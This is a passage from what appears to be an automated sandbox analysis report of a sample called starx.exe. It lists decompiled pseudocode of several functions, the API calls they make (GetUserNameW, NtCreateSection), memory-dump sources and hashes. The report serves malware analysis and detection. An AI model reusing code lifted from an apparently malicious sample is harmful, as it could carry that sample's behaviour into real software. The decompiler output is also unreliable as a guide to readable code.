								if(E00410590(_t34, _t36) == 0) {
									_push(_t35);
									_push(_t23);
									L0040D62C();
									_t15 = E0040E878(_t14);
								} else {
									_t15 =  *((intOrPtr*)( *_v16 + 0x28))(0);
								}
							} else {
								_t15 = E0040EC4C(_t23, 0x40ee18, _t35);
							}
						} else {
							 *_t23 = _t34;
							_t23[4] =  *(_t35 + 8);
							_t15 =  *0x47f818();
						}
					} else {
						 *_t23 = 0x100;
						_t23[4] = 0;
						_t15 = E00404014( &(_t23[4]),  *(_t35 + 8));
					}
				} else {
					_push(_t35);
					_push(_t23);
					L0040D62C();
					_t15 = E0040E878(_t12);
				}
				return _t15;
			}

0x0040ee20
0x0040ee23
0x0040ee24
0x0040ee26
0x0040ee2d
0x0040ee31
0x0040ee31
0x0040ee36
0x0040ee3d
0x0040ee52
0x0040ee70
0x0040ee8a
0x0040eea7
0x0040eeba
0x0040eebb
0x0040eebc
0x0040eec1
0x0040eea9
0x0040eeb5
0x0040eeb5
0x0040ee8c
0x0040ee95
0x0040ee95
0x0040ee72
0x0040ee72
0x0040ee78
0x0040ee7d
0x0040ee7d
0x0040ee54
0x0040ee54
0x0040ee5b
0x0040ee64
0x0040ee64
0x0040ee3f
0x0040ee3f
0x0040ee40
0x0040ee41
0x0040ee46
0x0040ee46
0x0040eeca

APIs

VariantCopy.OLEAUT32(?), ref: 0040EE41

Part of subcall function 0040EB28: VariantClear.OLEAUT32(?), ref: 0040EB37

Strings

@, xrefs: 0040EE7D

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Variant$ClearCopy
String ID: @
API String ID: 274517740-216407459
Opcode ID: 9753c9e828507f23daebd2a394b9fe569670f081f690136088246f5a92f0e633
Instruction ID: 9f4b7cc161673b27beef64cd0db6f4b646212d49476f554c81a27381aba7fe0a
Opcode Fuzzy Hash: 9753c9e828507f23daebd2a394b9fe569670f081f690136088246f5a92f0e633
Instruction Fuzzy Hash: B011E07070020487D734AF2BC88596B23969F84750B108C3BE40AAB3D6DA39CC52C3EA

Uniqueness

Uniqueness Score: -1.00%

Function 0043CE78, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0043CE78(void* __eflags, intOrPtr _a4) {
				char _v5;
				struct tagRECT _v21;
				struct tagRECT _v40;
				void* _t40;
				void* _t45;

				_v5 = 1;
				_t44 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x30)) + 0x198));
				_t45 = E00413CA0( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x30)) + 0x198)),  *((intOrPtr*)(_a4 - 4)));
				if(_t45 <= 0) {
					L5:
					_v5 = 0;
				} else {
					do {
						_t45 = _t45 - 1;
						_t40 = E00413C44(_t44, _t45);
						if( *((char*)(_t40 + 0x57)) == 0 || ( *(_t40 + 0x50) & 0x00000040) == 0) {
							goto L4;
						} else {
							E0043C45C(_t40,  &_v40);
							IntersectRect( &_v21, _a4 + 0xffffffec,  &_v40);
							if(EqualRect( &_v21, _a4 + 0xffffffec) == 0) {
								goto L4;
							}
						}
						goto L6;
						L4:
					} while (_t45 > 0);
					goto L5;
				}
				L6:
				return _v5;
			}

0x0043ce81
0x0043ce8e
0x0043cea1
0x0043cea5
0x0043cef5
0x0043cef5
0x0043cea7
0x0043cea7
0x0043cea7
0x0043ceb1
0x0043ceb7
0x00000000
0x0043cebf
0x0043cec4
0x0043ced8
0x0043ceef
0x00000000
0x00000000
0x0043ceef
0x00000000
0x0043cef1
0x0043cef1
0x00000000
0x0043cea7
0x0043cef9
0x0043cf02

APIs

IntersectRect.USER32 ref: 0043CED8
EqualRect.USER32 ref: 0043CEE8

Strings

@, xrefs: 0043CEB9

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Rect$EqualIntersect
String ID: @
API String ID: 3291753422-2766056989
Opcode ID: 4e7488bdd80ee395b1ea5a11e65c8947bbab36bcdded5c9e2fffd1e571044199
Instruction ID: 10031794e0a014e0d47c5de4e40035bff3e8d245eb720b454e42e23e5eaf7d79
Opcode Fuzzy Hash: 4e7488bdd80ee395b1ea5a11e65c8947bbab36bcdded5c9e2fffd1e571044199
Instruction Fuzzy Hash: E2116A35A042485BCB01DA69C885B9EBBE89F48318F044292F804FB382D779DD058798

Uniqueness

Uniqueness Score: -1.00%

Function 00453800, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
threadCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00453800(intOrPtr __eax, void* __ebx, void* __edi, void* __esi) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _t12;
				intOrPtr _t16;
				intOrPtr _t23;
				char _t24;
				intOrPtr _t25;
				intOrPtr _t26;
				void* _t30;
				void* _t31;
				intOrPtr _t32;

				_t30 = _t31;
				_t32 = _t31 + 0xfffffff4;
				_v8 = 0;
				_t23 =  *0x467d98; // 0x0
				_v12 = _t23;
				_t24 =  *0x467da4; // 0x0
				_v16 = _t24;
				 *0x467d98 = __eax;
				 *0x467da4 = 0;
				_push(_t30);
				_push(0x4538a3);
				_push( *[fs:eax]);
				 *[fs:eax] = _t32;
				_push(_t30);
				_push(0x45386c);
				_push( *[fs:eax]);
				 *[fs:eax] = _t32;
				_push(0);
				_push(E004537B0);
				_push(GetCurrentThreadId());
				L0040656C();
				_t12 =  *0x467da4; // 0x0
				_v8 = _t12;
				_pop(_t25);
				 *[fs:eax] = _t25;
				_pop(_t26);
				 *[fs:eax] = _t26;
				_push(0x4538aa);
				_t5 =  &_v16; // 0x427972
				 *0x467da4 =  *_t5;
				_t16 = _v12;
				 *0x467d98 = _t16;
				return _t16;
			}

0x00453801
0x00453803
0x0045380b
0x0045380e
0x00453814
0x00453817
0x0045381d
0x00453820
0x00453827
0x0045382e
0x0045382f
0x00453834
0x00453837
0x0045383c
0x0045383d
0x00453842
0x00453845
0x00453848
0x0045384a
0x00453854
0x00453855
0x0045385a
0x0045385f
0x00453864
0x00453867
0x00453887
0x0045388a
0x0045388d
0x00453892
0x00453895
0x0045389a
0x0045389d
0x004538a2

APIs

GetCurrentThreadId.KERNEL32 ref: 0045384F
739EAC10.USER32(00000000,004537B0,00000000,00000000,0045386C,?,00000000,004538A3), ref: 00453855

Strings

ryB, xrefs: 00453892

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CurrentThread
String ID: ryB
API String ID: 2882836952-3457910575
Opcode ID: 63f5c642d961fe92c13fbe0f82d2a6cf7a40e44f5d1acfca9173d2a6e5801951
Instruction ID: a986c48fccfb9db0b7f04b0e50a34e042c85db9407c1123a2313eb80497c7ad9
Opcode Fuzzy Hash: 63f5c642d961fe92c13fbe0f82d2a6cf7a40e44f5d1acfca9173d2a6e5801951
Instruction Fuzzy Hash: 6101D2B0A08700AFD305CF6AEC51926BBF8FF8DB54B2288BAF804D3751F6755900CA19

Uniqueness

Uniqueness Score: -1.00%

Function 004249A8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E004249A8(intOrPtr _a4, intOrPtr _a8, signed int _a12) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t15;
				void* _t16;
				intOrPtr _t18;
				signed int _t19;
				void* _t20;
				intOrPtr _t21;

				_t19 = _a12;
				if( *0x47f92b != 0) {
					_t16 = 0;
					if((_t19 & 0x00000003) != 0) {
						L7:
						_t16 = 0x12340042;
					} else {
						_t21 = _a4;
						if(_t21 >= 0 && _t21 < GetSystemMetrics(0) && _a8 >= 0 && GetSystemMetrics(1) > _a8) {
							goto L7;
						}
					}
				} else {
					_t18 =  *0x47f90c; // 0x4249a8
					 *0x47f90c = E00424710(3, _t15, _t18, _t19, _t20);
					_t16 =  *0x47f90c(_a4, _a8, _t19);
				}
				return _t16;
			}

0x004249ae
0x004249b8
0x004249e2
0x004249eb
0x00424a13
0x00424a13
0x004249ed
0x004249ed
0x004249f2
0x00000000
0x00000000
0x004249f2
0x004249ba
0x004249bf
0x004249cc
0x004249de
0x004249de
0x00424a1e

APIs

GetSystemMetrics.USER32 ref: 004249F6
GetSystemMetrics.USER32 ref: 00424A08

Part of subcall function 00424710: GetProcAddress.KERNEL32(759B0000,00000000), ref: 00424790

Strings

MonitorFromPoint, xrefs: 004249BA

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: MetricsSystem$AddressProc
String ID: MonitorFromPoint
API String ID: 1792783759-1072306578
Opcode ID: 03d93e76d8bca10fe35416cd3905327d3b654a194fe8d12c220e56878935dbc1
Instruction ID: fc45b352fb1888ff106632dc17152c4662f7461ed9a93cab4ba13c66a41f2b36
Opcode Fuzzy Hash: 03d93e76d8bca10fe35416cd3905327d3b654a194fe8d12c220e56878935dbc1
Instruction Fuzzy Hash: 89018FB17411296BDB008F55FC44B5ABB55E784355F80843AFE0CAB251C378AC858BAC

Uniqueness

Uniqueness Score: -1.00%

Function 0040EB28, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040EB28(intOrPtr* __eax, void* __ecx) {
				void* _t8;
				signed short _t19;
				intOrPtr* _t20;

				_t13 = __eax;
				_t19 =  *__eax;
				if(_t19 >= 0x14) {
					if(_t19 != 0x100) {
						if(_t19 != 0x101) {
							if((_t19 & 0x00002000) == 0) {
								if(E00410590(_t19, _t20) == 0) {
									L0040D624();
									_t8 = E0040E878(_t7);
								} else {
									_t8 =  *((intOrPtr*)( *((intOrPtr*)( *_t20)) + 0x24))();
								}
							} else {
								_t8 = E0040E9AC(__eax);
							}
						} else {
							_t8 =  *0x47f810();
						}
					} else {
						 *((short*)(__eax)) = 0;
						_t8 = E00403FC0(__eax + 8);
					}
				} else {
					_push(__eax);
					L0040D624();
					_t8 = E0040E878(__eax);
				}
				return _t8;
			}

0x0040eb2b
0x0040eb2d
0x0040eb34
0x0040eb48
0x0040eb5e
0x0040eb6f
0x0040eb85
0x0040eb94
0x0040eb99
0x0040eb87
0x0040eb8e
0x0040eb8e
0x0040eb71
0x0040eb73
0x0040eb73
0x0040eb60
0x0040eb62
0x0040eb62
0x0040eb4a
0x0040eb4a
0x0040eb52
0x0040eb52
0x0040eb36
0x0040eb36
0x0040eb37
0x0040eb3c
0x0040eb3c
0x0040eba1

APIs

VariantClear.OLEAUT32(?), ref: 0040EB37

Strings

@, xrefs: 0040EB62

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: ClearVariant
String ID: @
API String ID: 1473721057-216407459
Opcode ID: c9ba09cfeae7867ac6f3a36795581e89c469e56ea74bfc03e8e12607ed0ae3d0
Instruction ID: 4c03b898fe3cc2a61a866aeb21bd00d7ad1e0c2715cf08b2bcb291714d267053
Opcode Fuzzy Hash: c9ba09cfeae7867ac6f3a36795581e89c469e56ea74bfc03e8e12607ed0ae3d0
Instruction Fuzzy Hash: 6AF0A461B041008AD610FB778984AA936F5DF40704B204C3BB10B7B2D7CB3CEC66865F

Uniqueness

Uniqueness Score: -1.00%

Function 00424880, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00424880(intOrPtr* _a4, signed int _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t14;
				intOrPtr _t16;
				signed int _t17;
				void* _t18;
				void* _t19;

				_t17 = _a8;
				_t14 = _a4;
				if( *0x47f92a != 0) {
					_t19 = 0;
					if((_t17 & 0x00000003) != 0 ||  *((intOrPtr*)(_t14 + 8)) > 0 &&  *((intOrPtr*)(_t14 + 0xc)) > 0 && GetSystemMetrics(0) >  *_t14 && GetSystemMetrics(1) >  *((intOrPtr*)(_t14 + 4))) {
						_t19 = 0x12340042;
					}
				} else {
					_t16 =  *0x47f908; // 0x424880
					 *0x47f908 = E00424710(2, _t14, _t16, _t17, _t18);
					_t19 =  *0x47f908(_t14, _t17);
				}
				return _t19;
			}

0x00424886
0x00424889
0x00424893
0x004248b8
0x004248c1
0x004248e8
0x004248e8
0x00424895
0x0042489a
0x004248a7
0x004248b4
0x004248b4
0x004248f3

APIs

GetSystemMetrics.USER32 ref: 004248D1
GetSystemMetrics.USER32 ref: 004248DD

Part of subcall function 00424710: GetProcAddress.KERNEL32(759B0000,00000000), ref: 00424790

Strings

MonitorFromRect, xrefs: 00424895

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: MetricsSystem$AddressProc
String ID: MonitorFromRect
API String ID: 1792783759-4033241945
Opcode ID: d6af9941d9091783cac8a6c1dd9ff7a1ae8af92e310488bc735d56f8189ef033
Instruction ID: 640b93bbf403bc126da6bd9315f8b97673f052b7fcd4e738f01a636b71147815
Opcode Fuzzy Hash: d6af9941d9091783cac8a6c1dd9ff7a1ae8af92e310488bc735d56f8189ef033
Instruction Fuzzy Hash: FC01A7B97001696BD710AB54FC85B16B794E780328F844473FD08CB242C378DC88DBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004107B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E004107B0() {
				intOrPtr _t14;
				intOrPtr* _t16;
				intOrPtr* _t17;
				intOrPtr* _t18;
				intOrPtr* _t19;
				intOrPtr* _t20;
				intOrPtr _t23;

				_push(_t23);
				_push(0x410851);
				_push( *[fs:eax]);
				 *[fs:eax] = _t23;
				 *0x47f81c =  *0x47f81c - 1;
				if( *0x47f81c < 0) {
					E004102BC();
					 *0x47f80c = E0040E8B8;
					 *0x47f810 = E0040E4E0;
					 *0x47f814 = E0040E3F0;
					 *0x47f818 = E0040E4E0;
					_t16 =  *0x47e6c0; // 0x46700c
					 *_t16 = E0040EBB8;
					_t17 =  *0x47e424; // 0x467010
					 *_t17 = 0x40ffb0;
					_t18 =  *0x47e758; // 0x467014
					 *_t18 = E0040EECC;
					_t19 =  *0x47e8e8; // 0x467018
					 *_t19 = E0040F1F8;
					_t20 =  *0x47e780; // 0x46701c
					 *_t20 = E0040F920;
					_push(0x47f824);
					L00406174();
				}
				_pop(_t14);
				 *[fs:eax] = _t14;
				_push(E00410858);
				return 0;
			}

0x004107b5
0x004107b6
0x004107bb
0x004107be
0x004107c1
0x004107c8
0x004107cf
0x004107d9
0x004107e3
0x004107ed
0x004107f3
0x004107fd
0x00410803
0x0041080a
0x00410810
0x00410817
0x0041081d
0x00410824
0x0041082a
0x00410831
0x00410837
0x00410839
0x0041083e
0x0041083e
0x00410845
0x00410848
0x0041084b
0x00000000

APIs

RtlInitializeCriticalSection.KERNEL32(0047F824,00000000,00410851), ref: 0041083E

Strings

@, xrefs: 004107F3
@, xrefs: 004107E3

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CriticalInitializeSection
String ID: @$@
API String ID: 32694325-2930932199
Opcode ID: 672fdfcdc919c861cfe36d3ed08679fc09e3c6c1127030718bf2a425479d8641
Instruction ID: 714212b5fe4d113198cb500ce0c032140ea1c3f883f643fb73f0b340ed9401fd
Opcode Fuzzy Hash: 672fdfcdc919c861cfe36d3ed08679fc09e3c6c1127030718bf2a425479d8641
Instruction Fuzzy Hash: 5C011A742042018FD345EF2AE8015027BE4F74E300361CABBE408EB7A1E37898D98BDE

Uniqueness

Uniqueness Score: -1.00%

Function 0042FAD0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E0042FAD0(void* __ecx) {
				struct HINSTANCE__* _t7;
				struct HINSTANCE__* _t9;
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr _t16;
				intOrPtr _t19;

				_push(_t19);
				_push(0x42fb3f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t19;
				 *0x47fae4 =  *0x47fae4 + 1;
				if( *0x47fae4 == 0) {
					if( *0x47fae8 != 0) {
						_t9 =  *0x47fae8; // 0x0
						FreeLibrary(_t9);
					}
					if( *0x47faec != 0) {
						_t7 =  *0x47faec; // 0x0
						FreeLibrary(_t7);
					}
					_t15 =  *0x42e7e0; // 0x42e7e4
					E004049FC(0x4679ec, _t15);
					_t16 =  *0x42e7e0; // 0x42e7e4
					E004049FC(0x4679e0, _t16);
				}
				_pop(_t14);
				 *[fs:eax] = _t14;
				_push(0x42fb46);
				return 0;
			}

0x0042fad5
0x0042fad6
0x0042fadb
0x0042fade
0x0042fae1
0x0042fae7
0x0042faf0
0x0042faf2
0x0042faf8
0x0042faf8
0x0042fb04
0x0042fb06
0x0042fb0c
0x0042fb0c
0x0042fb16
0x0042fb1c
0x0042fb26
0x0042fb2c
0x0042fb2c
0x0042fb33
0x0042fb36
0x0042fb39
0x0042fb3e

APIs

FreeLibrary.KERNEL32(00000000,00000000,0042FB3F), ref: 0042FAF8
FreeLibrary.KERNEL32(00000000,00000000,0042FB3F), ref: 0042FB0C

Strings

B, xrefs: 0042FB16, 0042FB26

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: FreeLibrary
String ID: B
API String ID: 3664257935-3806887055
Opcode ID: 9ea22e6f7a50c1212a6203196762b90d9e685b24852dee761dbbcac20ef92d5d
Instruction ID: 1a0202e990bb638cf72e57ee4f5cf9ef390b34b061039849e9e8907faaf5bfba
Opcode Fuzzy Hash: 9ea22e6f7a50c1212a6203196762b90d9e685b24852dee761dbbcac20ef92d5d
Instruction Fuzzy Hash: 6CF030B13042408BEB219B79EC67B2377ACF344304BD18537B908876A5D67D6889CB1C

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: starx.exe PID: 6960 Parent PID: 6728 starx.exeCOMMON

Execution Graph

Execution Coverage:	12.5%
Dynamic/Decrypted Code Coverage:	42%
Signature Coverage:	4.6%
Total number of Nodes:	633
Total number of Limit Nodes:	44

Executed Functions

Function 059DC59E, Relevance: 6.9, APIs: 4, Instructions: 915
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 059DC66D
KiUserExceptionDispatcher.NTDLL ref: 059DCD52
KiUserExceptionDispatcher.NTDLL ref: 059DCF9D
LdrInitializeThunk.NTDLL ref: 059DD08B

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: DispatcherExceptionUser$InitializeThunk
String ID:
API String ID: 2638914809-0
Opcode ID: 6581e7ef85492b8f2f237bcb72fa7a87f0d6cd0a55920f15ce03798b93adc241
Instruction ID: 0f236ba2be98dea29e669539579e379f26dada444bb65e6b3315ca3ef518cecb
Opcode Fuzzy Hash: 6581e7ef85492b8f2f237bcb72fa7a87f0d6cd0a55920f15ce03798b93adc241
Instruction Fuzzy Hash: 21922474A00228CFDB65EF60D95879DBBB6BF88205F1085E9DA0AA3350DF749E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 059D94F8, Relevance: 1.6, Strings: 1, Instructions: 337COMMON

Download Yara Rule

Strings

`/}, xrefs: 059D9751

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID:
String ID: `/}
API String ID: 0-2336106462
Opcode ID: 6a06d380eefa43879e4b3556df398b4e68099565a8bab3ee8cb3fcc9b899d0f4
Instruction ID: 69e0d4d96f1a7688ecfdcbb7a8d78a62a7b793edfead41dbbdbd83d52d706a53
Opcode Fuzzy Hash: 6a06d380eefa43879e4b3556df398b4e68099565a8bab3ee8cb3fcc9b899d0f4
Instruction Fuzzy Hash: 9AD12B74E002099FCB14DFA8C484AEEFBF6FF88314F14C55AE815AB251DB35A946CB90

Uniqueness

Uniqueness Score: -1.00%

Function 059D2548, Relevance: 1.6, Instructions: 1572COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e20fa0333e593b64d1b9f94676a95d7d24646265ccd9852368798d6f2583e0
Instruction ID: d30c3da065cef5aaf232ba23f5f842a0279867833b9e35e4ffa369b9509a0715
Opcode Fuzzy Hash: 61e20fa0333e593b64d1b9f94676a95d7d24646265ccd9852368798d6f2583e0
Instruction Fuzzy Hash: 1DF20975A08218CFDB15DFA4D890BEDB7B6EF84305F1089A5C609AB264DF309E85CF61

Uniqueness

Uniqueness Score: -1.00%

Function 059DB5ED, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 059DB633

Memory Dump Source

Source File: 00000002.00000002.1015951134.00000000059D0000.00000040.00000001.sdmp, Offset: 059D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_59d0000_starx.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 2481600b350fc5aa77c9941d4437dd1f5a8ca7b1b648bd348c58237d8a3c0da3
Instruction ID: b95f7412f6f465ff842eca748a3c2578638c3fef0d18e575fdc44ebe446d75cd
Opcode Fuzzy Hash: 2481600b350fc5aa77c9941d4437dd1f5a8ca7b1b648bd348c58237d8a3c0da3
Instruction Fuzzy Hash: E021D670D042089FDF14CFA8C998BDDFBB6BB49318F55801AD445BB291CB799888CF21

Uniqueness

Uniqueness Score: -1.00%

Function 00444159, Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL(?,?,?,?,?,?,?), ref: 00444186

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: CreateSection
String ID:
API String ID: 2449625523-0
Opcode ID: 15c4d00f7a4a1b91f1707f46677a34dc38f249c9a72a35aeb019871a083626e3
Instruction ID: 7ae5c02144e3a2da0f80e31c64d439ae016e5172ce781f3007fcdfed83bd6d21
Opcode Fuzzy Hash: 15c4d00f7a4a1b91f1707f46677a34dc38f249c9a72a35aeb019871a083626e3
Instruction Fuzzy Hash: 00F04F3A500119BBDF019F99EC0499B3BA9FB5A360B04442AFB1597220DB35DC61EBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0043E746, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00001704), ref: 0043E74B

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: ebe1bc7784b0b339015d6146758e1c4b0f1f2746be48a6762befe65825040257
Instruction ID: 930bbcf254d6beaed574a07ced69f04423afe42dc64f1eef5d0d5c35662008c7
Opcode Fuzzy Hash: ebe1bc7784b0b339015d6146758e1c4b0f1f2746be48a6762befe65825040257
Instruction Fuzzy Hash: EB9002A86625018B8A0017B15C0D54966906B4D702B516461A105D4099EB644400556A

Uniqueness

Uniqueness Score: -1.00%

Function 024C45B0, Relevance: .3, Instructions: 335COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faf8abd1138ea92e4ce55bcf028f34768feb8a517a785f90ee2799cc5fe88f6f
Instruction ID: db9ebb34e3d6d4c93c18b7f0d901fbcb7cdd5a9ced928d5d89724aec5adc568f
Opcode Fuzzy Hash: faf8abd1138ea92e4ce55bcf028f34768feb8a517a785f90ee2799cc5fe88f6f
Instruction Fuzzy Hash: 30E16AB1D097498FE311CF66F8581893FB1FB9631AB124209D2616F2E2D7BE184ACF44

Uniqueness

Uniqueness Score: -1.00%

Function 024C46A0, Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

